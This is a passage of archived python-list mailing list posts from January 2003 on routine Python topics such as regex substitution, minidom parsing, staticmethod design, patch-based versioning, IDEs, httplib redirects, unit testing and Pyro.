>  my_personal_dir = C:\WINNT\Profiles\kumar\DESKTOP
> > >>>
> 
> Hi Kumar,
> 
> I think the problem is that the first argument to
> SHGetSpecialFolderLocation is supposed to be hwndOwner:
> 
> SHGetSpecialFolderLocation(0, shellcon.CSIDL_PERSONAL)
> 
> HTH,
> -Dave



From skip at pobox.com  Sat Jan 25 08:41:47 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 07:41:47 -0600
Subject: December 2002 comp.lang.* stats
In-Reply-To: <3E323B85.9DF6D032@alcyone.com>
References: <b0tctd$9cn$1@bob.news.rcn.net>
        <3E323B85.9DF6D032@alcyone.com>
Message-ID: <15922.37915.999271.867489@montanaro.dyndns.org>

    >> What you see below are pure and simple the number of unique posters
    >> to each comp.lang.whatever hierarchy in December 2002.

    Erik> So they're to the whole hierarchy?  Several of these groups have
    Erik> large hierarchies, some don't; some of those subgroups are
    Erik> moderated.

One might argue that more active discussion groups need more complex
hierarchies to properly group the messages.

Can you avoid the cross-post problem by simply counting unique message-ids?

Skip




From max at alcyone.com  Sun Jan 19 21:29:55 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 18:29:55 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org>
Message-ID: <3E2B5F23.9BBA8F16@alcyone.com>

Jp Calderone wrote:

>   "A foolish consistency is the hobgoblin of little minds."  -rwe
> 
>   "a b c".split(" ") makes sense.  " ".join(("a", "b", "c")) does,
> too.

He wasn't talking about join, he was talking about split.  He was saying
if JOINER.join(SEQUENCE) returns JOINED, then maybe JOINED.split(JOINER)
should return SEQUENCE.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Yes I'm / Learning from falling down / Heavily
\__/ Lamya
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From hawkeye.parker at autodesk.com  Thu Jan 16 18:23:45 2003
From: hawkeye.parker at autodesk.com (hawkeye.parker at autodesk.com)
Date: Thu, 16 Jan 2003 15:23:45 -0800
Subject: xml.dom.minidom.parse() splitting text nodes?
Message-ID: <F311A35BB7D3F2458DB2C9DDE189161A108FE8@msgpetmb2.amer.ads.autodesk.com>

i'm running into an odd issue parsing large xml files.  it appears that minidom is arbitrarily splitting some TEXT_NODEs into pieces.  for example, the file in question contains a number of these tags:
 
<C:Footer>This space provided for legal clarification of contract issues as defined by the project participants prior to project initiation. The content herein is determined withing the General Tab of the Log Properties dialogue box</C:Footer>
 
the parser correctly parses the C:Footer tag into a dom element, but for some reason *periodically* splits the child node into *two* text nodes.  i can find no ryhme or reason to the splitting, though it is consistent for a given file; i.e., it always splits the same nodes in the same place.
 
has anyone else run across this issue?  can you explain it?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/95b60cb7/attachment.html>

From ods at strana.ru  Thu Jan 30 10:03:24 2003
From: ods at strana.ru (Denis S. Otkidach)
Date: Thu, 30 Jan 2003 18:03:24 +0300 (MSK)
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <OXa_9.4120$nD1.943639@news20.bellglobal.com>
Message-ID: <Pine.LNX.4.44L.0301301802230.9189-100000@localhost.localdomain>

On Thu, 30 Jan 2003, Luc wrote:

L> Here is the script in question :
L>
L> import FOMath
L> #FOMath has a method called PointValue()
L> def test():
L> 	print FOMath.PointdddValue()
L>
L> test()
L>
L> This should't compile because a syntax error is present...

There is no syntaz error in your example.  Try "dddprint"
instead.

L>
L> The way I compile the code from C++ is done like so :
L>
L> //str contains the file that just loaded...
L> Py_CompileString((char*)str.c_str(), "<test.py>",
L> Py_file_input);
L>
L> That's it. It's the way I tought was proper. Might be wrong,
L> that's why
L> I posted in this group :)
L>
L> Cheers, Luc.
L>
L>

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]





From danb_83 at yahoo.com  Thu Jan 16 02:21:35 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 15 Jan 2003 23:21:35 -0800
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk>
Message-ID: <ad052e5c.0301152321.be66dcf@posting.google.com>

Michael Hudson <mwh at python.net> wrote in message news:<7h38yxmp6mp.fsf at pc150.maths.bris.ac.uk>...

> Hey, noone in this thread's even tried to fiddle with the builtins
> yet...

Good idea!

>>> int = long

There!  Now I don't have to deal with those nasty OverflowErrors anymore :-)

But if your prefer obsfuscation, I'll swap str and xrange.

>>> for digit in str(42): # note the misleading counter name
...    print digit,
...
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
30 31 32 33 34 35 36 37 38 39 40 41



From 2002 at weholt.org  Wed Jan 22 06:08:46 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Wed, 22 Jan 2003 12:08:46 +0100
Subject: Commercial IDEs: is it worth it? 
Message-ID: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>

Hi,

I've used Emacs for python-development and been happy so far. But I miss
auto-completion, integrated, more visual debugging etc. I also have som
problems with code developed earlier on windows using PythonWin and tab as
indention instead of spaces. Some way of removing the extra
linefeed-characters added under windows, converting tabs to spaces etc.
would also be nice. PythonWin has a feature that can be helpful in these
cases; it can show indention-markers. In the future I'll probably develop
som GUI-based applications too, using for instance wxPython. Emacs doesn't
have any special support for this as far as I know.

I was wondering; are there any commercial IDEs out there that really beats
Emacs? Looked at WingIDE and it looks nice, but $149 for the standard
version??!!!

Opinions on what, where and why to pay for a Python-friendly IDE would be
appreciated.

( Opinions on other free editors that might fit my needs would also be
interesting. Looked briefly at VIM and used IDLE earlier. )

Best regards,
Thomas





From theller at python.net  Thu Jan 23 08:28:27 2003
From: theller at python.net (Thomas Heller)
Date: 23 Jan 2003 14:28:27 +0100
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz> <3E2F52E5.D3601AD7@alcyone.com> <YMRX9.43233$F63.924790@news.xtra.co.nz>
Message-ID: <1y346lms.fsf@python.net>

> But there's a real problem with staticmethod. Within a staticmethod 
> function, I can't see any way to access other static attributes of the 
> class - methods or attributes - without knowing the class' name.

You'd have to use a classmethod if you want to do this, that's what
they are fore (in Python, at least).

> 
> With this restriction, python's static method implementation falls short of 
> that of C++ (I won't say j--- because I don't know j---). At least in C++, 
> you can subclass a class with static methods, and within the subclass, the 
> inherited methods can access other static attributes within the class, 
> without having to explicitly specify the class.
> 
> > Maybe if you back up one step and tell us why you need to know this we
> > could suggest a better solution.
> 
> Firstly, python excels at empowering the programmer, and removing a vast 
> number of the restrictions which make other languages a total pain. So why 
> *shouldn't* there be a way for a static method to know (if it wants to) if 
> it's been invoked via the class or via an instance? And to determine the 
> exact class or subclass from which it's been invoked?

I posted a recipe some time ago which IMO allows you to do it:

http://tinyurl.com/4shq

HTH,

Thomas



From martin at v.loewis.de  Thu Jan 16 09:54:15 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 15:54:15 +0100
Subject: Custom Code Block
References: <b06g8c$dke$1@news2.netvision.net.il>
Message-ID: <m3ptqx2lig.fsf@mira.informatik.hu-berlin.de>

"Zeev Hadar" <zeev at clockwise3d.com> writes:

> Please direct me for how to achieve it in Python extension.

You probably will have to extend the Python syntax for that. Start
with Grammar/Grammar, proceed to Python/compile.c, invent new byte
codes, proceed to Python/ceval.c. Extending dis.py and the compiler
package is optional.

HTH,
Martin




From peter at engcorp.com  Thu Jan  2 19:17:53 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 19:17:53 -0500
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <3E14D6B1.469C1921@engcorp.com>

Rocco Rossi wrote:
> 
> I was wondering if it is possible in Python to do something analogous to
> downcasting in a statically typed language like C++. I mean is it possible
> to take an instance of a base class and magically transform it into an
> instance of some derived class eventually fixing things (like the missing
> attribute data)?

You might want to explain why you think you need that (if this
was not just idle curiosity).

Then others here will explain why you are wrong, and how to go
about it in the Right Way. 

:-)

-Peter



From hancock at anansispaceworks.com  Wed Jan  8 16:51:16 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 21:51:16 GMT
Subject: Python patch analog
Message-ID: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net>

I am working on a library class for Python which implements version control 
for an object. It relies on external persistence (probably ZODB in 
practice, but I don't provide persistence internally).

It works on generic sequences of comparable data (I think this means 
hashable, but all I really require is that '==' works and is meaningful, 
and that the sequence works with Python's existing difflib).  In the 
future, I will probably add the ability to use recursive dictionaries of 
sequences (i.e. like directories), but right now it just works with 
sequences -- or rather data that can be marshalled in and out of sequences 
by well-defined, reversible, object-type-specific split() and join() 
operations.

At first, I thought that I needed to emulate the Unix patch utility and 
then CVS ("ontology follows philogeny"?).  So I was trying to do "context 
patching" correctly, which I can't do using regular expressions because we 
are NOT talking (necessarily) about strings of characters anymore (you 
could argue that I have to reimplement some of RE to act on non-string 
sequences).

Difflib can generate a sequence description which can be interpreted as a 
program to patch the sequence to the newly desired state.  Implementing a 
"patch" based on this is pretty simple. But it is somewhat brittle, as it 
does not take into account that the order of applying patches or that the 
underlying sequence may have changed in some unpredicted way.

The original "patch" uses context to sort out where a patch actually goes, 
because the file may have been changed by other means between when the diff 
was computed and when it is to be applied as a patch.  CVS is apparently 
based on this approach as well, although I haven't checked its sources.

For clarity, and lack of "correct" terminology, I will refer to this 
context based approach as "context patching" and the purely numerical 
approach of raw difflib (plus changes I will add below)  as "precision 
patching".  If you know better/more-accepted terms, please substitute and 
enlighten me, so I can make my documentation easier to understand.

But I discovered something interesting (and to me surprising) -- it seems 
to me that I don't need context patches at all, because I am keeping 
records on the object state.  Let me elaborate:

First, for simplicity, consider the case where only one person works on the 
object at a time (i.e. no concurrent check-outs).

All we have to do is keep track of what patches have been submitted along 
with the date and time they were submitted. As we don't allow concurrency, 
the patch is always against the most recent version of the file.

But suppose one patch is in error, so we choose to remove it. Won't that 
make the whole house of cards fall, because every patch after that was 
computed assuming that the missing patch had acted?

Well, yes, but it turns out to be very easy to compute the effect of not 
including the patch, and numerically shift all subsequent patch 
instructions to work as expected (in the case of non-overlapping patches, 
the effect is a simple "position and delta" effect which "pushes" or 
"pulls" the remainder of the file by the difference between the removed and 
substituted elements of the sequence -- for overlapping patches it's 
stickier, but there's still a reasonable solution).  So, as long as I 
actually have the missing patch to analyze, I can compute this -- i.e. I 
don't "throw away" a bad patch, but "ignore" it, precisely computing the 
resulting effect.

Okay, so, with no concurrency, we have no problem.  Now let's see what we 
can do with concurrent check-ins.

How I interpret "concurrent check ins", is that essentially, we remove the 
guarantee that the submitted content is to be diffed against the most 
recent version of the sequence. Instead, it is diffed against a specific, 
known, previous version.

This means that the sequence has changed on us. So, now, do we need context?

No. Because we can use the inverse of the "ignore" code to compute the 
positional effect of *acknowledging* all changes that occured  **after the 
checkout, but before the check in**.  This can be used to precisely shift 
the to-be-patched submission before actually applying it.

This works even if there's more than one check in coming from different 
sources, so long as each source can be identified as working from a 
specific check-out time.  (You just apply each one in the order of 
submission, applying the rule in the previous paragraph to them before 
applying them).

I include all of these numerical-shifting behaviors into the idea of 
"precision patching" as opposed to "context patching".

I believe it is still possible to identify occasional conflicts with this 
mechanism, and that the same conceptual approach that CVS uses can be 
applied to them (or perhaps it needs more thought, but in any case, is 
outside the scope of this problem).  The important point is that conflicts 
shouldn't happen any more this way than with context diffs (and possibly, 
they will occur much less often, depending on the data).

But now I can't think of any reason why I would need to use context 
patching.  Is there a use case I'm missing here?

Now "why on Earth would I want to ditch tradition and do it this way?", you 
might ask.  Well, aside from a certain elegance (I might even say 
"pythonic-ness" ;-D), the reason is that context patching can get into 
trouble if the context changes too rapidly or if there are too many changes 
to a file going on (so that conflicts happen often). Also, implementing the 
context checking is tricky, and probably error-prone intrinsically (whereas 
precision patching is basically just simple arithmetic).

Empirically, the existing Unix patch does a good job on program text data, 
and it's possible that it would do fine in general, though I don't know of 
any kind of proof of this (which, of course, doesn't mean there isn't one, 
I could just be ignorant).  Anyway, the point is that we're talking now 
about *generic sequence data*, not lines of a file, so some assumptions may 
fall flat.  Context may not be particularly meaningful in a list of 
graphical drawing objects, or some other binary data that I'm not familiar 
with.

So, I think that this "precision" approach may be a better bet practically, 
as well as being simpler.

But, I have to confess that the design is probably more brittle. I just 
can't think of any way to break it in this application.  Any dissenting 
opinions out there?  Am I being thick, or have I really found a simpler way 
to do versioning?

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From dkt at registriesltd.com.au  Wed Jan 15 23:37:25 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Thu, 16 Jan 2003 15:37:25 +1100
Subject: Regex replacement operation
Message-ID: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au>

I'm trying to write a little micro function in Python that takes a
string with numeric dates in it and changes those dates into an
ISO8601 format. The dates in the input string are in a consistent
format, so that simplifies it. In Perl, I could write something like
the following to do it:

$str = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.';

$str =~ s/ \b (\d{1,2}) - (\d{1,2}) - (\d{4}) \b /
    $3 . '-' . sprintf('%02d', $2) . '-' . sprintf('%02d', $1) /gxe;

which would make $str contain:

"Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01, reportedly."


How would I go about doing that in Python?

I've looked up the "re" module, but don't see any "substitute"
command, so it seems a different approach may be in order.

Thanks.

David Trudgett







From max at alcyone.com  Tue Jan 28 19:12:49 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 16:12:49 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org> <7x3cnexbt1.fsf@ruckus.brouhaha.com> <yyyk7gpmhs4.fsf@adams.patriot.net> <7xisw9grur.fsf@ruckus.brouhaha.com>
Message-ID: <3E371C81.4F499340@alcyone.com>

Paul Rubin wrote:

> The code doesn't have to do cryptographic work, it only has to
> illustrate an API.  That's the main reason why I didn't test it a lot.

So why the rush to get it into 2.3?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Patriotism is the last refuge of a scoundrel.
\__/ Samuel Johnson
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From sjmachin at lexicon.net  Fri Jan 10 17:06:17 2003
From: sjmachin at lexicon.net (John Machin)
Date: 10 Jan 2003 14:06:17 -0800
Subject: regexp speed concerns
References: <e15e4bd1.0301091611.411bafc2@posting.google.com>
Message-ID: <c76ff6fc.0301101406.4d98713c@posting.google.com>

quioxl at yahoo.com (Jonathan Craft) wrote in message news:<e15e4bd1.0301091611.411bafc2 at posting.google.com>...

> Just for fun, I converted the script from perl to python as a learning
> experience.  One of the first things I noticed was about a 3x increase
> in the average time for a parse to take place between my original perl
> script and my first attempt at a python replacement.  I managed to get
> that down to about a 2x multiplier when I replaced "re" calls with the
> "regex" equivalent (got that idea from a post somewhere, can't
> remember).

The regex module is deep in Norwegian blue parrot territory, six feet
deep. Current Python (version 2.2.x) deprecates it at runtime, and
doesn't supply the documentation any more. You evidently have an
antique Python (1.5.2??). I suggest that you upgrade ASAP. You should
find that the re module is faster.

> 1).  Should such a slowdown be expected?  The expression that I'm
> searching for is pretty simple (whitespace or start of line, followed
> by 1 of 3 possible strings), but I was suprised to see my python code
> slow down so visibly.

Concern yourself with correctness first, speed much later if at all.
The subexpression that you are using below i.e. [\s^] does not match
at start of line; the square brackets enclose a class (set) of
characters; it will match a whitespace character or a literal ^
character (in Python definitely and in Perl it should unless the
implementation is broken). Your regexp won't match if your error text
is at the start of the line. Did you test this case?

> 3).  Should I be using "match" instead of "search"?  I know that the
> algorithms used under the hood differ for each, but I'm not sure which
> one is the best to use under these conditions.

How do you know what they do under the hood??? In any case this is far
less important than (a) a precise statement of your problem and (b)
reading the documentation so that you know what they do *above* the
hood.

Briefly, match() reports whether the pattern matches at the start
position, whereas search() ... well, would you believe it, it searches
for a match anywhere.

If your error text occurs anywhere in the line, you should be using
search() with '(\s|^)(ERR|err|FAIL)'

If your error text occurs only at the start of the line, possibly
preceded by exactly one (unlikely) whitespace character, use match()
with '[\s]? etc

If your error text occurs only at the start of the line, preceded by
zero or more whitespace characters, use match() with '[\s]* etc

Maybe your error text could be preceded by punctuation e.g. "Whoopsie
#413 (FAILED)" in which case you could use \b (beginning of word) ...

Are you sure in your assumption that neither 'fail' nor 'Fail' occur?
Are you willing to bet that some programmer/user/pointed-haired-boss
won't make that assumption invalid in the future?


> First Python Attempt:
> ---------------------
> import re
> errSO = re.compile('[\s^](ERR|err|FAIL)')

Doesn't match start of line, matches a literal ^ character; see above.

Hope this helps,
John



From davecook at nowhere.net  Mon Jan  6 18:06:35 2003
From: davecook at nowhere.net (David M. Cook)
Date: Mon, 06 Jan 2003 23:06:35 GMT
Subject: migrating from Access
References: <Mf6S9.108144$k13.4219684@news0.telusplanet.net>
Message-ID: <slrnb1k32o.1f6.davecook@localhost.localdomain>

In article <Mf6S9.108144$k13.4219684 at news0.telusplanet.net>, Lester wrote:

> Now I would like to port it over to something free and cross platform. 
> I would like to recreate the app and GPL it.  Python + MySQL looks good 
> because I can read and understand the code examples in the book -- Perl 
> gives me a headache.  BoaConstructor looks good.  Any thoughts on this 
> would be appreciated.

Also, see

http://mdbtools.sourceforge.net/

for tools for exporting access data.

Dave Cook



From LogiplexSoftware at earthlink.net  Sun Jan  5 20:42:39 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 05 Jan 2003 17:42:39 -0800
Subject: Opinions, please: Repository module
In-Reply-To: <200301060017.19510.andy@eastonwest.co.uk>
References: <mailman.1041806169.632.python-list@python.org>
	 <7xwuljp4hb.fsf@ruckus.brouhaha.com>
	 <200301060017.19510.andy@eastonwest.co.uk>
Message-ID: <1041817358.1368.1470.camel@software1.logiplex.internal>

On Sun, 2003-01-05 at 16:17, andy wrote:
> On Sunday 05 Jan 2003 11:21 pm, Paul Rubin wrote:
> > If you're exposing it to the internet you really better have some security
> > to keep dipwads from taking over the server.

If his home LAN is behind a firewall this shouldn't be a problem.

> Yep, I understand that: it's just a 'first poke' at doing this, and as I said, 
> it's for something for my kids - to run accross our 'family' lan.
> >
> > Something wrong with xmlrpc over http using urllib or something like that?
> 
> Overkill for what I wanted to do.  Yes I looked at xmlrpc, and will definately 
> do so again in the future, but for this, it's way too much: learning curve, 
> complexity (well, maybe)...

I understand where you're coming from, and doing this sort of exercise
can be useful for learning.  Nevertheless I'd suggest using something
like Pyro, which is a distributed object system.  I played with it a bit
and was able to get the basics down in... well, a very short time (it's
been a while since I tried it, but I remember being pleasantly surprised
at how easy it was - I'd guess an hour should do it).  I'd guess the
learning curve will be no worse than for socket programming.

From a past announcement regarding Pyro:

"""
What is Pyro?
Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed
Object Technology system written entirely in Python.

It is extremely easy to implement a distributed system with Pyro, because
all network communication code is abstracted and hidden from your
application. You just get a remote Python object and invoke methods
on the object on the other machine.
...
""" 

> > Yes, MySQL ;-)
> 
> No, not a database.  Already thought about that.  Again, overkill, and too 
> much more to learn (don't know SQL, don't have a SQL server running/set up 
> etc.)

Actually, MySQL is remarkably easy as well, but I still think Pyro would
be more appropriate.

> Just to show you the (lack of) depth of the project this is for, it's a simple 
> 'virtual playground' for my kids, something to encourage them to 
> read/write/type/mouse more.  They were immensely impressed by the simple fact 
> that they could move a 64x64 pix image of themselves round the screen and 
> 'jump' on the icky hand-made gimp-graphics furniture I drew for them.  My 
> kids are 2, 5 and 7...
> 
> This module is to enable me to network this effort, allow simple 'chat' 
> speech-bubbles, maybe animation and sound effects.  The repository only needs 
> to store the x,y co-ordinates of all 'characters' plus some other details 
> like face image file etc.  It may later support different rooms, non-player 
> characters and so on, as demanded by the sprogs.

Again, sounds like Pyro is the ideal tool for the job.  Don't be put off
by the amazing things it can do.  It can do simple stuff just as well
<wink>.  Download it and take a look at some of the examples.  The
documentation may seem rather involved, but to test it out, try the
following:

1. untar the package
2. cd Pyro-2.0
3. python setup.py setup
6. cd examples/quickstart
7. ./pyrorun server.py &
8. ./pyrorun client.py


Good luck,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: This is a digitally signed message part
URL: <http://mail.python.org/pipermail/python-list/attachments/20030105/bdadf56d/attachment.sig>

From robin at jessikat.fsnet.co.uk  Tue Jan 14 03:57:18 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 08:57:18 +0000
Subject: Job in Wales?
Message-ID: <Rpu19LAuD9I+Ewx2@jessikat.fsnet.co.uk>

The following appeared in my email. 



Vacancy: Zope / Python Developers
 
***ZOPE / PYTHON EXPERIENCE URGENTLY REQUIRED***

WE ARE LOOKING FOR COMMERCIALLY EXPERIENCED WEB DEVELOPERS WHO HAVE A
STRONG BACKGROUND IN ZOPE OR PYTHON (PREFERABLY BOTH)
IF YOU HAVE WORKED WITH ZOPE AND/OR PYTHON PLEASE SEND CV'S TO
louisa at mcwgroup.co.uk
-- 
Robin Becker



From mis6 at pitt.edu  Sat Jan 25 14:58:34 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 25 Jan 2003 11:58:34 -0800
Subject: help on autosuper
References: <mailman.1043499885.7817.python-list@python.org> <m3hebxuvfq.fsf@mira.informatik.hu-berlin.de>
Message-ID: <2259b0e2.0301251158.7589c83c@posting.google.com>

martin at v.loewis.de (Martin v. L?wis wrote in message news:<m3hebxuvfq.fsf at mira.informatik.hu-berlin.de>...
> Michele Simionato <mis6+ at pitt.edu> writes:
> 
> > Somebody can tell me what's happening, please ?
> 
> Did you try to find out yourself?
> 
> Regards,
> Martin

Yes.

The traceback is not easy to follow, especially since I don't know
how pydoc works. I only understand that inspect is trying to retrieve
the __name__ of super for some reason. This could be a bug on pydoc
(or
inspect, I don't know), therefore I am pointing out this strange
behavior on c.l.py. This is not so important, but at least you could
point me on the
right track !


P.S. BTW Martin, nothing personal against you, I recognize you helped
me many times, but I would not post a problem if I knew the solution.



From ritschratsch at gmx.de  Sun Jan 12 20:47:15 2003
From: ritschratsch at gmx.de (Phillip)
Date: Mon, 13 Jan 2003 02:47:15 +0100
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters
 (???))
References: <avcvi1$5av$03$1@news.t-online.com>	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>	<avfgo9$clb$05$1@news.t-online.com>	<20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>	<avh1a0$kle$04$1@news.t-online.com>	<20030108125105.0e956b3c.pythonhda@yahoo.com.replacepythonwithlinux>	<avl383$vs2$05$1@news.t-online.com> <20030110140326.16679355.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <avt5f3$1b3$04$1@news.t-online.com>

pythonhda schrieb:
> On Fri, 10 Jan 2003 01:20:16 +0100
> Phillip <ritschratsch at gmx.de> wrote:
> 
> ...
> 
> 
>> >and then use the >HTTPConnection class becuase that is
>> >what is in use now.
>>
>>I don't quite get the documentation on how I'm supposed to tackle this.
>>HTTPConnection has different parameters (3 instead of 2) and some other 
>>issues that aren't *that* well dosumented. From what I gather I just 
>>can't change the constructor and be done with it....
>>A, well, we'll see.
>>
> 
> 
> I don't quite understand what you mean. You didn't change the contructor

No. But just chaning it won't make it work with HTTPConnect either. 
I'dhave to rewrite the whole class (not that it's that big... but still)
That's all I'm saying.

> in your original code. You basically wrapped procedure code into a class
> Check section 11.6.3 in the docs (I have Python 2.2.1) I was able to 
 > reproduce what you wanted to do originally (using the examples from
 > that section) in about 7 lines of code.
> 
> Also check out:  http://web.pydoc.org/2.2/httplib.html

There is no way whatsoever that I can get it to work with what I've got!
Wget works, so I presume that it's the parameters that are passed that 
httplib just plain can't handle.
The problem is that this isn't documented anywhere.
Could it be that the parameters invoke a serverresponse that is somehow 
different from a normal response to an URL and therefore isn't 'sensed' 
by httplib?
When I use a any kind of Browser or wget it works! It simply doesn't 
work with httplib. One Moment please
....
Back again.
Just did another test. It won't work with HTTPConnection either!
Status is: 302 reason is: Found
What the fuck is happening that Browser and Wget take care of but 
httplib don't??? I'd really like to know. Any clue?

Phillip




From johnroth at ameritech.net  Fri Jan  3 09:23:20 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 3 Jan 2003 09:23:20 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com> <3e14a219$1_1@goliath.newsgroups.com>
Message-ID: <v1b763d3qlk52a@news.supernews.com>

"Brad Clements" <bkc at Murkworks.com> wrote in message
news:3e14a219$1_1 at goliath.newsgroups.com...
> _
> "Terry Reedy" <tjreedy at udel.edu> wrote in message
> news:aJWcnRWzQtc7E4mjXTWcqA at comcast.com...
>
> > For those who missed the reference in a recent thread, there is an
> > online PDF prepublication version of Kent Beck's new book
Test-Driven
> > Develoopment By Example:
> >
> >
http://groups.yahoo.com/group/testdrivendevelopment/files/TDD17Jul2002
> > .pdf
> >
>
> This is where I learned the most about TDD. And, I've implemented
unittests,
> but as I said in my previous post, I'm looking for test patterns
suiteable
> for database backed "objects".

There's a paper by Martin Fowler and Pramod Sadalage

http://www.martinfowler.com/articles/evodb.html

that just got posted recently on integrating relational data bases
into the XP development process.

> The .pdf referenced above does have some patterns, but I'm looking for
more
> ideas on database testing.. In my previous post I mentioned the "mock
> object" I used to capture SQL statements.. But that still doesn't test
the
> db dump/load aspect of my objects.

Refering to the paper above, you need to decouple the tests.
>
> I guess there's no getting around actually looking at the database
after
> storing an object..

There is, indeed, no substitute for having  a set of tests that verifies
that the schema is correct, and that whatever administration you need
to do is correct. That doesn't have to be unittest - whatever tools the
vendor supplies might be adequate as long as they can be automated
and will run silently.

>
> I'll probably use temporary tables and set them up in the fixture.
>
> Speaking of TestCase, I though that setUp would be called only once
for all
> test* included in the class, but I find that setUp() is called for
ever test
> case in the same class.

That's correct. The xUnit framework (of which unittest is an example)
has
that as a design goal - every test is independent. You can have a global
object, but you have to put it in yourself at the module level - see
either the
singleton pattern or the Borg pattern. Sometimes you have to, but it's a
good idea to spend time figuring out how not to do this.

> What I want is one instance of the TestCase to be created (hence, one
call
> to setUp()), then each test* case to be run in that TestCase instance.
>
> I guess I'll need to make up something to do it that way, since
setting up a
> temporary database table for every test in my suite will be expensive.

That's not the recommended way to do it. The recommended way is
to use a dual structure: mock objects for the bulk of your testing, and
then
a separate set of tests against the real data base, with an overnight
run with
real data base access to insure that the mock objects are doing the
right thing.

Otherwise you find that your unit test suite takes too long, and you
don't use it. As a rule of thumb, more than about two minutes for the
unit tests is too long.

John Roth






From nhodgson at bigpond.net.au  Fri Jan  3 17:24:41 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Fri, 03 Jan 2003 22:24:41 GMT
Subject: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com>
Message-ID: <J4oR9.663$oS1.1117@news-server.bigpond.net.au>

   Hi P?draig,
   P at draigBrady.com fails as a mail address. While it doesn't matter for
news groups where you will see the replies anyway, it does matter when you
post to mailing lists.

   Neil





From andrew at indranet.co.nz  Sun Jan 26 23:18:35 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 27 Jan 2003 17:18:35 +1300
Subject: Getting SuperUser Authority From Within Running Python Program
In-Reply-To: <tud11b.1dj.ln@boundary.tundraware.com>
References: <mq7v0b.6g8.ln@boundary.tundraware.com>
 <mailman.1043541527.18943.python-list@python.org>
 <2ot01b.atg.ln@boundary.tundraware.com> <87of63opsg.fsf@mit.edu>
 <tud11b.1dj.ln@boundary.tundraware.com>
Message-ID: <8160000.1043641115@localhost.localdomain>


--On Sunday, January 26, 2003 19:50:07 +0000 Tim Daneliuk 
<tundra at tundraware.com> wrote:

> throwaway at mit.edu wrote:
> <SNIP>
>
>> what business do non-root users have manipulating
>> root-owned files?
>
> When the user is, in fact, the sysadmin and wishes temporary access
> to system files for administrative purposes.  Any numebr of
> adminstration programs allow themselves to be invoked from
